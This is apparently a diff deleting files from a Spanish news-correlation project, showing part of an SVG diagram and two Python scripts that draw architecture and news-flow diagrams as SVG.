<text x="330" y="624" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Ciberseguridad</text>
|
|
||||||
<text x="330" y="644" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Análisis</text>
|
|
||||||
<text x="330" y="664" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Defensa</text>
|
|
||||||
<text x="330" y="684" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Inteligencia</text>
|
|
||||||
<text x="330" y="704" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Internacional</text>
|
|
||||||
<text x="330" y="724" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Europa</text>
|
|
||||||
<text x="330" y="744" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· España</text>
|
|
||||||
<text x="330" y="764" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· EEUU</text>
|
|
||||||
<line x1="750" y1="476" x2="454" y2="554" stroke="#39ff14" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>
|
|
||||||
<rect x="612" y="558" width="276" height="260" rx="4" fill="#0d0f0d" stroke="#5fe36a" stroke-width="1.6" stroke-opacity="0.9"/>
|
|
||||||
<rect x="612" y="558" width="276" height="30" rx="4" fill="#5fe36a" fill-opacity="0.16"/>
|
|
||||||
<text x="626" y="579" fill="#5fe36a" font-size="14" text-anchor="start" font-weight="bold" letter-spacing="1">CLIMATE</text>
|
|
||||||
<text x="874" y="579" fill="#5a625a" font-size="11" text-anchor="end" font-weight="normal" letter-spacing="0">120 feeds</text>
|
|
||||||
<text x="626" y="602" fill="#5a625a" font-size="10.5" text-anchor="start" font-weight="normal" letter-spacing="0">cambio climático</text>
|
|
||||||
<text x="626" y="624" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Internacional</text>
|
|
||||||
<text x="626" y="644" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· EEUU</text>
|
|
||||||
<text x="626" y="664" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Ciencia</text>
|
|
||||||
<text x="626" y="684" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Biodiversidad</text>
|
|
||||||
<text x="626" y="704" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Energía</text>
|
|
||||||
<text x="626" y="724" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Asia</text>
|
|
||||||
<text x="626" y="744" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Tecnología</text>
|
|
||||||
<text x="626" y="764" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· ONG</text>
|
|
||||||
<text x="626" y="784" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Salud</text>
|
|
||||||
<text x="626" y="804" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· España</text>
|
|
||||||
<line x1="750" y1="476" x2="750" y2="554" stroke="#39ff14" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>
|
|
||||||
<rect x="908" y="558" width="276" height="260" rx="4" fill="#0d0f0d" stroke="#ffe600" stroke-width="1.6" stroke-opacity="0.9"/>
|
|
||||||
<rect x="908" y="558" width="276" height="30" rx="4" fill="#ffe600" fill-opacity="0.16"/>
|
|
||||||
<text x="922" y="579" fill="#ffe600" font-size="14" text-anchor="start" font-weight="bold" letter-spacing="1">ECO-CORP</text>
|
|
||||||
<text x="1170" y="579" fill="#5a625a" font-size="11" text-anchor="end" font-weight="normal" letter-spacing="0">24 feeds</text>
|
|
||||||
<text x="922" y="602" fill="#5a625a" font-size="10.5" text-anchor="start" font-weight="normal" letter-spacing="0">economía y corporaciones</text>
|
|
||||||
<text x="922" y="624" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Internacional</text>
|
|
||||||
<text x="922" y="644" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Tecnología</text>
|
|
||||||
<text x="922" y="664" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· EEUU</text>
|
|
||||||
<text x="922" y="684" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· España</text>
|
|
||||||
<text x="922" y="704" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Gestión</text>
|
|
||||||
<text x="922" y="724" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Corporaciones</text>
|
|
||||||
<text x="922" y="744" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Comercio</text>
|
|
||||||
<line x1="750" y1="476" x2="1046" y2="554" stroke="#39ff14" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>
|
|
||||||
<rect x="1204" y="558" width="276" height="260" rx="4" fill="#0d0f0d" stroke="#ff9b30" stroke-width="1.6" stroke-opacity="0.9"/>
|
|
||||||
<rect x="1204" y="558" width="276" height="30" rx="4" fill="#ff9b30" fill-opacity="0.16"/>
|
|
||||||
<text x="1218" y="579" fill="#ff9b30" font-size="14" text-anchor="start" font-weight="bold" letter-spacing="1">POPL-UP</text>
|
|
||||||
<text x="1466" y="579" fill="#5a625a" font-size="11" text-anchor="end" font-weight="normal" letter-spacing="0">24 feeds</text>
|
|
||||||
<text x="1218" y="602" fill="#5a625a" font-size="10.5" text-anchor="start" font-weight="normal" letter-spacing="0">demografía y sociedad</text>
|
|
||||||
<text x="1218" y="624" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· España</text>
|
|
||||||
<text x="1218" y="644" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Internacional</text>
|
|
||||||
<text x="1218" y="664" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· EEUU</text>
|
|
||||||
<text x="1218" y="684" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Salud</text>
|
|
||||||
<text x="1218" y="704" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Derechos Humanos</text>
|
|
||||||
<text x="1218" y="724" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Política</text>
|
|
||||||
<text x="1218" y="744" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Migración</text>
|
|
||||||
<text x="1218" y="764" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Europa</text>
|
|
||||||
<text x="1218" y="784" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Reino Unido</text>
|
|
||||||
<line x1="750" y1="476" x2="1342" y2="554" stroke="#39ff14" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>
|
|
||||||
<rect x="40" y="528" width="461" height="26" fill="#050505"/>
|
|
||||||
<text x="46" y="547" fill="#7cff5a" font-size="13" text-anchor="start" font-weight="normal" letter-spacing="2">3 · CINCO TEMAS, Y LOS SUBTEMAS QUE EXISTEN DE VERDAD</text>
|
|
||||||
<text x="46" y="842" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">Los subtemas son geográficos y de sección, no conceptuales. No hay un subtema "energía renovable": hay "Energía", que es lo que</text>
|
|
||||||
<text x="46" y="858" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">trae el catálogo. El menú de la web todavía ofrece algunos que no existen en la base y por eso filtran a cero.</text>
|
|
||||||
<rect x="46" y="926" width="1408" height="180" rx="4" fill="#0d0f0d" stroke="#ff5ea8" stroke-width="1.5" stroke-opacity="1.0"/>
|
|
||||||
<rect x="40" y="896" width="217" height="26" fill="#050505"/>
|
|
||||||
<text x="46" y="915" fill="#ff5ea8" font-size="13" text-anchor="start" font-weight="normal" letter-spacing="2">4 · LO QUE PUEDES FILTRAR</text>
|
|
||||||
<text x="70" y="966" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">tema</text>
|
|
||||||
<text x="220" y="966" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">la vista que eliges: GLOB-WAR, INT-SEC…</text>
|
|
||||||
<text x="70" y="996" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">subtema</text>
|
|
||||||
<text x="220" y="996" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">desplegable, hereda del feed</text>
|
|
||||||
<text x="70" y="1026" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">fecha</text>
|
|
||||||
<text x="220" y="1026" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">Semanal (7 días) o Todas</text>
|
|
||||||
<text x="70" y="1056" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">palabra clave</text>
|
|
||||||
<text x="220" y="1056" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">busca dentro del texto</text>
|
|
||||||
<text x="750" y="966" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">nodos</text>
|
|
||||||
<text x="900" y="966" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">cuántos traer, hasta 500</text>
|
|
||||||
<text x="750" y="996" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">% similitud</text>
|
|
||||||
<text x="900" y="996" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">umbral mínimo para dibujar una arista</text>
|
|
||||||
<text x="750" y="1026" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">país / región</text>
|
|
||||||
<text x="900" y="1026" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">solo en coconews</text>
|
|
||||||
<text x="750" y="1056" fill="#ff5ea8" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">entidad</text>
|
|
||||||
<text x="900" y="1056" fill="#8a938a" font-size="12" text-anchor="start" font-weight="normal" letter-spacing="0">persona u organización, vía NER</text>
|
|
||||||
<line x1="750" y1="876" x2="750" y2="918" stroke="#ff5ea8" stroke-width="1.5" stroke-opacity="0.5" marker-end="url(#f3)"/>
|
|
||||||
<text x="46" y="1138" fill="#5a625a" font-size="11" text-anchor="start" font-weight="normal" letter-spacing="0">upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS</text>
|
|
||||||
</svg>
|
|
||||||
|
Before Width: | Height: | Size: 20 KiB |
|
|
@ -1,129 +0,0 @@
|
||||||
#!/usr/bin/env python3
|
|
||||||
# Genera el diagrama de arquitectura de UP-LEAKS / FLUJOS.
|
|
||||||
import io, sys
|
|
||||||
|
|
||||||
W, H = 1500, 770
|
|
||||||
NEON, NEON2 = "#39ff14", "#7cff5a"
|
|
||||||
BG, PANEL = "#050505", "#0d0f0d"
|
|
||||||
GRIS, GRIS2 = "#8a938a", "#5a625a"
|
|
||||||
CIAN, AMBAR, MAGENTA = "#3ad6ff", "#ffb020", "#ff5ea8"
|
|
||||||
|
|
||||||
o = []
|
|
||||||
a = o.append
|
|
||||||
|
|
||||||
a(f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {W} {H}" width="{W}" height="{H}" '
|
|
||||||
f'font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" '
|
|
||||||
f'aria-label="Arquitectura de UP-LEAKS: fuentes, workers, base de datos, correlacion, API y visualizacion">')
|
|
||||||
a('<defs>')
|
|
||||||
for nom, col in (("a1", NEON), ("a2", CIAN), ("a3", AMBAR), ("a4", MAGENTA)):
|
|
||||||
a(f'<marker id="{nom}" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto">'
|
|
||||||
f'<path d="M0,0 L7,3 L0,6 Z" fill="{col}" opacity="0.85"/></marker>')
|
|
||||||
a('</defs>')
|
|
||||||
a(f'<rect width="{W}" height="{H}" fill="{BG}"/>')
|
|
||||||
|
|
||||||
a(f'<text x="46" y="54" fill="{NEON}" font-size="27" font-weight="bold" letter-spacing="3">ARQUITECTURA</text>')
|
|
||||||
a(f'<text x="46" y="80" fill="{GRIS}" font-size="14">'
|
|
||||||
f'De la fuente al grafo. Cada bloque es un proceso independiente; se comunican solo por MongoDB.</text>')
|
|
||||||
a(f'<line x1="46" y1="96" x2="{W-46}" y2="96" stroke="{NEON}" stroke-opacity="0.28"/>')
|
|
||||||
|
|
||||||
|
|
||||||
def columna(x, y, w, titulo, color, items, alto_item=30, cab=40):
|
|
||||||
h = cab + len(items) * alto_item + 14
|
|
||||||
a(f'<rect x="{x}" y="{y}" width="{w}" height="{h}" rx="4" fill="{PANEL}" '
|
|
||||||
f'stroke="{color}" stroke-width="1.5" stroke-opacity="0.85"/>')
|
|
||||||
a(f'<text x="{x+16}" y="{y+26}" fill="{color}" font-size="13" letter-spacing="1.5">{titulo}</text>')
|
|
||||||
for i, it in enumerate(items):
|
|
||||||
yy = y + cab + 20 + i * alto_item
|
|
||||||
if isinstance(it, tuple):
|
|
||||||
a(f'<text x="{x+16}" y="{yy}" fill="{GRIS}" font-size="12.5">{it[0]}</text>')
|
|
||||||
a(f'<text x="{x+w-16}" y="{yy}" fill="{GRIS2}" font-size="11.5" text-anchor="end">{it[1]}</text>')
|
|
||||||
else:
|
|
||||||
a(f'<text x="{x+16}" y="{yy}" fill="{GRIS}" font-size="12.5">{it}</text>')
|
|
||||||
return h
|
|
||||||
|
|
||||||
|
|
||||||
Y = 130
|
|
||||||
X1, W1 = 46, 300
|
|
||||||
X2, W2 = 402, 320
|
|
||||||
X3, W3 = 778, 340
|
|
||||||
X4, W4 = 1154, 300
|
|
||||||
|
|
||||||
h1 = columna(X1, Y, W1, "FUENTES", CIAN, [
|
|
||||||
("236 feeds RSS", "5 idiomas"),
|
|
||||||
("API de Wikipedia", "28.266"),
|
|
||||||
("WikiLeaks", "36.182"),
|
|
||||||
("buzón de envíos", "periodistas"),
|
|
||||||
])
|
|
||||||
|
|
||||||
h2 = columna(X2, Y, W2, "WORKERS · coconews/", NEON, [
|
|
||||||
("ingestor.py", "cada 15 min"),
|
|
||||||
("translator.py", "→ español"),
|
|
||||||
("ner.py", "spaCy"),
|
|
||||||
("embedder.py", "MiniLM 384d"),
|
|
||||||
])
|
|
||||||
|
|
||||||
h3 = columna(X3, Y, W3, "MONGODB · FLUJOS_DATOS", AMBAR, [
|
|
||||||
("noticias", "98.110"),
|
|
||||||
("wikipedia", "28.266"),
|
|
||||||
("torrents", "36.182"),
|
|
||||||
("embeddings_chunks", "531.306"),
|
|
||||||
("coconews_entidades", "76.857"),
|
|
||||||
("comparaciones", "115M"),
|
|
||||||
])
|
|
||||||
|
|
||||||
h4 = columna(X4, Y, W4, "APIs", MAGENTA, [
|
|
||||||
("FLUJOS_APP.js", ":3000"),
|
|
||||||
(" /api/data", "grafo"),
|
|
||||||
(" /api/stats", "métricas"),
|
|
||||||
(" /api/submit", "buzón"),
|
|
||||||
("coconews server.js", ":3100"),
|
|
||||||
])
|
|
||||||
|
|
||||||
ymid = Y + 70
|
|
||||||
for (xa, wa, xb, col, mk) in ((X1, W1, X2, CIAN, "a2"), (X2, W2, X3, NEON, "a1"), (X3, W3, X4, AMBAR, "a3")):
|
|
||||||
a(f'<line x1="{xa+wa+6}" y1="{ymid}" x2="{xb-10}" y2="{ymid}" stroke="{col}" '
|
|
||||||
f'stroke-width="1.6" stroke-opacity="0.65" marker-end="url(#{mk})"/>')
|
|
||||||
|
|
||||||
# ── correlacion ───────────────────────────────────────────────────────────
|
|
||||||
Y2 = Y + max(h1, h2, h3, h4) + 56
|
|
||||||
a(f'<rect x="{X1}" y="{Y2}" width="{X3+W3-X1}" height="150" rx="4" fill="{PANEL}" '
|
|
||||||
f'stroke="{NEON}" stroke-width="1.5"/>')
|
|
||||||
a(f'<text x="{X1+18}" y="{Y2+28}" fill="{NEON}" font-size="13" letter-spacing="1.5">'
|
|
||||||
f'CORRELACIÓN SEMÁNTICA · motor_comparacion.py</text>')
|
|
||||||
|
|
||||||
pasos = [
|
|
||||||
("1. vectorizar", "cada documento y cada fragmento → 384 dimensiones"),
|
|
||||||
("2. coseno", "noticia contra todo el corpus de leaks, reducido por máximo de fragmento"),
|
|
||||||
("3. anti-hub", "score = cos − λ·ln(1+grado); descarta los documentos catch-all"),
|
|
||||||
("4. arista", "si pasa el umbral, se escribe el par en `comparaciones`"),
|
|
||||||
]
|
|
||||||
for i, (t, d) in enumerate(pasos):
|
|
||||||
yy = Y2 + 56 + i * 24
|
|
||||||
a(f'<text x="{X1+18}" y="{yy}" fill="{NEON2}" font-size="12">{t}</text>')
|
|
||||||
a(f'<text x="{X1+150}" y="{yy}" fill="{GRIS}" font-size="12">{d}</text>')
|
|
||||||
|
|
||||||
# ── navegador ─────────────────────────────────────────────────────────────
|
|
||||||
a(f'<rect x="{X4}" y="{Y2}" width="{W4}" height="150" rx="4" fill="{PANEL}" '
|
|
||||||
f'stroke="{MAGENTA}" stroke-width="1.5"/>')
|
|
||||||
a(f'<text x="{X4+16}" y="{Y2+28}" fill="{MAGENTA}" font-size="13" letter-spacing="1.5">NAVEGADOR</text>')
|
|
||||||
for i, t in enumerate(["nginx · upleaks.org", "3d-force-graph + Three.js",
|
|
||||||
"5 vistas temáticas", "semanal / todas"]):
|
|
||||||
a(f'<text x="{X4+16}" y="{Y2+56+i*24}" fill="{GRIS}" font-size="12.5">{t}</text>')
|
|
||||||
|
|
||||||
a(f'<line x1="{X3+W3+6}" y1="{Y2+75}" x2="{X4-10}" y2="{Y2+75}" stroke="{MAGENTA}" '
|
|
||||||
f'stroke-width="1.6" stroke-opacity="0.6" marker-end="url(#a4)"/>')
|
|
||||||
|
|
||||||
# ── nota al pie ───────────────────────────────────────────────────────────
|
|
||||||
Y3 = Y2 + 150 + 62
|
|
||||||
a(f'<text x="{X1}" y="{Y3+18}" fill="{GRIS2}" font-size="12">'
|
|
||||||
f'Los workers no se llaman entre sí: cada uno marca su trabajo en el documento '
|
|
||||||
f'(`traducido`, `procesado_ner`, `procesado_embedding`) y el siguiente recoge lo pendiente.</text>')
|
|
||||||
a(f'<text x="{X1}" y="{Y3+40}" fill="{GRIS2}" font-size="12">'
|
|
||||||
f'Si uno cae, los demás siguen; al volver, retoma la cola donde estaba. No hay orquestador '
|
|
||||||
f'ni cola de mensajes: el estado vive en la base.</text>')
|
|
||||||
a(f'<text x="46" y="{H-20}" fill="{GRIS2}" font-size="11">'
|
|
||||||
f'upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS</text>')
|
|
||||||
a('</svg>')
|
|
||||||
|
|
||||||
io.open(sys.argv[1], 'w', encoding='utf-8').write('\n'.join(o))
|
|
||||||
print("escrito", sys.argv[1], "| alto util:", Y3 + 40)
|
|
||||||
|
|
@ -1,196 +0,0 @@
|
||||||
#!/usr/bin/env python3
|
|
||||||
# Genera el diagrama grande de flujos de informacion (UP-LEAKS).
|
|
||||||
import io, math, sys
|
|
||||||
|
|
||||||
W, H = 1500, 940
|
|
||||||
NEON, NEON2 = "#39ff14", "#7cff5a"
|
|
||||||
BG, PANEL = "#050505", "#0d0f0d"
|
|
||||||
GRIS, GRIS2 = "#8a938a", "#5a625a"
|
|
||||||
AMBAR = "#ffb020"
|
|
||||||
CIAN = "#3ad6ff"
|
|
||||||
|
|
||||||
AGENCIAS = [
|
|
||||||
("REUTERS", "Thomson Reuters — Reino Unido/Canadá"),
|
|
||||||
("AFP", "Agence France-Presse — Francia"),
|
|
||||||
("AP", "Associated Press — EE. UU."),
|
|
||||||
("EFE", "Agencia EFE — España"),
|
|
||||||
]
|
|
||||||
|
|
||||||
# Cabeceras generalistas: todas beben de los mismos teletipos
|
|
||||||
CABECERAS = [
|
|
||||||
"BBC", "The Guardian", "CNN", "El País", "Le Monde", "Der Spiegel",
|
|
||||||
"La Vanguardia", "The Times", "ABC", "Corriere", "El Mundo", "FAZ",
|
|
||||||
"NYT", "WaPo", "Sky News", "RTVE", "20minutos", "Antena 3",
|
|
||||||
"La Sexta", "Yahoo News", "MSN", "Google News",
|
|
||||||
]
|
|
||||||
|
|
||||||
# Prensa independiente: circuito corto, fuentes propias
|
|
||||||
INDEPENDIENTES = [
|
|
||||||
("Bellingcat", "OSINT"),
|
|
||||||
("The Intercept", "filtraciones"),
|
|
||||||
("Declassified UK", "FOIA"),
|
|
||||||
("Meduza", "exilio"),
|
|
||||||
("Amu TV / 8am", "exilio afgano"),
|
|
||||||
("Dabanga", "Sudán"),
|
|
||||||
("elDiario.es", "socios"),
|
|
||||||
("CTXT", "lectores"),
|
|
||||||
]
|
|
||||||
|
|
||||||
FUENTES_PROPIAS = [
|
|
||||||
"documentos filtrados", "peticiones FOIA", "reporteo sobre el terreno",
|
|
||||||
"archivos judiciales", "OSINT y satélite",
|
|
||||||
]
|
|
||||||
|
|
||||||
o = []
|
|
||||||
a = o.append
|
|
||||||
|
|
||||||
a(f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {W} {H}" width="{W}" height="{H}" '
|
|
||||||
f'font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" '
|
|
||||||
f'aria-label="Diagrama de los flujos de informacion: de las agencias de noticias a la prensa generalista y la prensa independiente">')
|
|
||||||
|
|
||||||
a('<defs>')
|
|
||||||
a(f'<linearGradient id="cuello" x1="0" y1="0" x2="0" y2="1">'
|
|
||||||
f'<stop offset="0%" stop-color="{NEON}" stop-opacity="0.55"/>'
|
|
||||||
f'<stop offset="100%" stop-color="{NEON}" stop-opacity="0.06"/></linearGradient>')
|
|
||||||
a(f'<linearGradient id="indg" x1="0" y1="0" x2="0" y2="1">'
|
|
||||||
f'<stop offset="0%" stop-color="{CIAN}" stop-opacity="0.45"/>'
|
|
||||||
f'<stop offset="100%" stop-color="{CIAN}" stop-opacity="0.06"/></linearGradient>')
|
|
||||||
a(f'<marker id="fl" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto">'
|
|
||||||
f'<path d="M0,0 L7,3 L0,6 Z" fill="{NEON}" opacity="0.75"/></marker>')
|
|
||||||
a(f'<marker id="flc" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto">'
|
|
||||||
f'<path d="M0,0 L7,3 L0,6 Z" fill="{CIAN}" opacity="0.8"/></marker>')
|
|
||||||
a('</defs>')
|
|
||||||
|
|
||||||
a(f'<rect width="{W}" height="{H}" fill="{BG}"/>')
|
|
||||||
|
|
||||||
# ── titulo ────────────────────────────────────────────────────────────────
|
|
||||||
a(f'<text x="46" y="58" fill="{NEON}" font-size="30" font-weight="bold" letter-spacing="3">'
|
|
||||||
f'DE DÓNDE VIENE LA NOTICIA QUE ACABAS DE LEER</text>')
|
|
||||||
a(f'<text x="46" y="86" fill="{GRIS}" font-size="15">'
|
|
||||||
f'Cuatro agencias abastecen a casi toda la prensa del mundo. Lo que parece pluralidad '
|
|
||||||
f'suele ser el mismo teletipo repetido.</text>')
|
|
||||||
a(f'<line x1="46" y1="102" x2="{W-46}" y2="102" stroke="{NEON}" stroke-opacity="0.28"/>')
|
|
||||||
|
|
||||||
# ── capa 1: agencias ──────────────────────────────────────────────────────
|
|
||||||
y_ag, h_ag = 132, 78
|
|
||||||
ancho = 300
|
|
||||||
x0 = (W - (len(AGENCIAS) * ancho + (len(AGENCIAS) - 1) * 24)) / 2
|
|
||||||
a(f'<text x="46" y="{y_ag-12}" fill="{NEON2}" font-size="13" letter-spacing="2">'
|
|
||||||
f'ORIGEN — 4 AGENCIAS</text>')
|
|
||||||
centros_ag = []
|
|
||||||
for i, (nom, sub) in enumerate(AGENCIAS):
|
|
||||||
x = x0 + i * (ancho + 24)
|
|
||||||
a(f'<rect x="{x:.0f}" y="{y_ag}" width="{ancho}" height="{h_ag}" rx="4" '
|
|
||||||
f'fill="{PANEL}" stroke="{NEON}" stroke-width="1.6"/>')
|
|
||||||
a(f'<text x="{x+ancho/2:.0f}" y="{y_ag+34}" fill="{NEON}" font-size="23" font-weight="bold" '
|
|
||||||
f'text-anchor="middle">{nom}</text>')
|
|
||||||
a(f'<text x="{x+ancho/2:.0f}" y="{y_ag+58}" fill="{GRIS}" font-size="11.5" '
|
|
||||||
f'text-anchor="middle">{sub}</text>')
|
|
||||||
centros_ag.append(x + ancho / 2)
|
|
||||||
|
|
||||||
# ── cuello de botella ─────────────────────────────────────────────────────
|
|
||||||
y_c1, y_c2 = y_ag + h_ag, y_ag + h_ag + 92
|
|
||||||
cx = W / 2
|
|
||||||
a(f'<path d="M{x0-6:.0f},{y_c1} L{W-x0+6:.0f},{y_c1} L{cx+118:.0f},{y_c2} L{cx-118:.0f},{y_c2} Z" '
|
|
||||||
f'fill="url(#cuello)"/>')
|
|
||||||
for c in centros_ag:
|
|
||||||
a(f'<line x1="{c:.0f}" y1="{y_c1}" x2="{cx:.0f}" y2="{y_c2-6}" stroke="{NEON}" '
|
|
||||||
f'stroke-opacity="0.5" stroke-width="1.2" marker-end="url(#fl)"/>')
|
|
||||||
a(f'<text x="{cx:.0f}" y="{y_c2+26}" fill="{NEON}" font-size="15" font-weight="bold" '
|
|
||||||
f'text-anchor="middle" letter-spacing="1">EL MISMO TELETIPO</text>')
|
|
||||||
a(f'<text x="{cx:.0f}" y="{y_c2+46}" fill="{GRIS}" font-size="12" text-anchor="middle">'
|
|
||||||
f'un despacho, un ángulo, un titular</text>')
|
|
||||||
|
|
||||||
# ── capa 2: cabeceras generalistas ────────────────────────────────────────
|
|
||||||
y_ab = y_c2 + 104
|
|
||||||
_etq = 'REPLICACIÓN — CIENTOS DE CABECERAS, UNA SOLA FUENTE'
|
|
||||||
_lbl = [] # se pinta DESPUES del abanico, con fondo, para que no lo crucen lineas
|
|
||||||
cols, cw, ch, gap = 11, 118, 40, 10
|
|
||||||
gw = cols * cw + (cols - 1) * gap
|
|
||||||
gx = (W - gw) / 2
|
|
||||||
for i, nom in enumerate(CABECERAS):
|
|
||||||
r, c = divmod(i, cols)
|
|
||||||
x = gx + c * (cw + gap)
|
|
||||||
y = y_ab + 10 + r * (ch + gap)
|
|
||||||
a(f'<rect x="{x:.0f}" y="{y:.0f}" width="{cw}" height="{ch}" rx="3" fill="#101310" '
|
|
||||||
f'stroke="{GRIS2}" stroke-width="1"/>')
|
|
||||||
a(f'<text x="{x+cw/2:.0f}" y="{y+25:.0f}" fill="{GRIS}" font-size="12" '
|
|
||||||
f'text-anchor="middle">{nom}</text>')
|
|
||||||
if r == 0 and c in (0, 3, 7, 10):
|
|
||||||
a(f'<line x1="{cx:.0f}" y1="{y_c2+56}" x2="{x+cw/2:.0f}" y2="{y-3:.0f}" '
|
|
||||||
f'stroke="{NEON}" stroke-opacity="0.22" stroke-width="0.9"/>')
|
|
||||||
a(f'<rect x="40" y="{y_ab-30}" width="{len(_etq)*8.6:.0f}" height="26" fill="{BG}"/>')
|
|
||||||
a(f'<text x="46" y="{y_ab-11}" fill="{NEON2}" font-size="13" letter-spacing="2">{_etq}</text>')
|
|
||||||
filas = math.ceil(len(CABECERAS) / cols)
|
|
||||||
y_ab_fin = y_ab + 10 + filas * (ch + gap)
|
|
||||||
a(f'<text x="{cx:.0f}" y="{y_ab_fin+22:.0f}" fill="{GRIS2}" font-size="12" text-anchor="middle">'
|
|
||||||
f'… y varios miles más. Cambia el logotipo, no el contenido.</text>')
|
|
||||||
|
|
||||||
# ── separador ─────────────────────────────────────────────────────────────
|
|
||||||
y_sep = y_ab_fin + 46
|
|
||||||
a(f'<line x1="46" y1="{y_sep}" x2="{W-46}" y2="{y_sep}" stroke="{NEON}" '
|
|
||||||
f'stroke-opacity="0.22" stroke-dasharray="5 6"/>')
|
|
||||||
|
|
||||||
# ── capa 3: prensa independiente ──────────────────────────────────────────
|
|
||||||
y_in = y_sep + 34
|
|
||||||
a(f'<text x="46" y="{y_in}" fill="{CIAN}" font-size="13" letter-spacing="2">'
|
|
||||||
f'EL OTRO CIRCUITO — PRENSA INDEPENDIENTE</text>')
|
|
||||||
a(f'<text x="46" y="{y_in+20}" fill="{GRIS}" font-size="12.5">'
|
|
||||||
f'Menos cabeceras, pero cada una con fuente propia. No replican: producen.</text>')
|
|
||||||
|
|
||||||
fx, fy = 46, y_in + 42
|
|
||||||
a(f'<rect x="{fx}" y="{fy}" width="290" height="{len(FUENTES_PROPIAS)*24+28}" rx="4" '
|
|
||||||
f'fill="{PANEL}" stroke="{CIAN}" stroke-width="1.3" stroke-opacity="0.75"/>')
|
|
||||||
a(f'<text x="{fx+16}" y="{fy+22}" fill="{CIAN}" font-size="12" letter-spacing="1">FUENTES PROPIAS</text>')
|
|
||||||
for i, f in enumerate(FUENTES_PROPIAS):
|
|
||||||
a(f'<text x="{fx+16}" y="{fy+44+i*24}" fill="{GRIS}" font-size="12">› {f}</text>')
|
|
||||||
|
|
||||||
icw, ich, igap = 232, 52, 12
|
|
||||||
igx = fx + 330
|
|
||||||
for i, (nom, sub) in enumerate(INDEPENDIENTES):
|
|
||||||
r, c = divmod(i, 4)
|
|
||||||
x = igx + c * (icw + igap)
|
|
||||||
y = fy + r * (ich + igap)
|
|
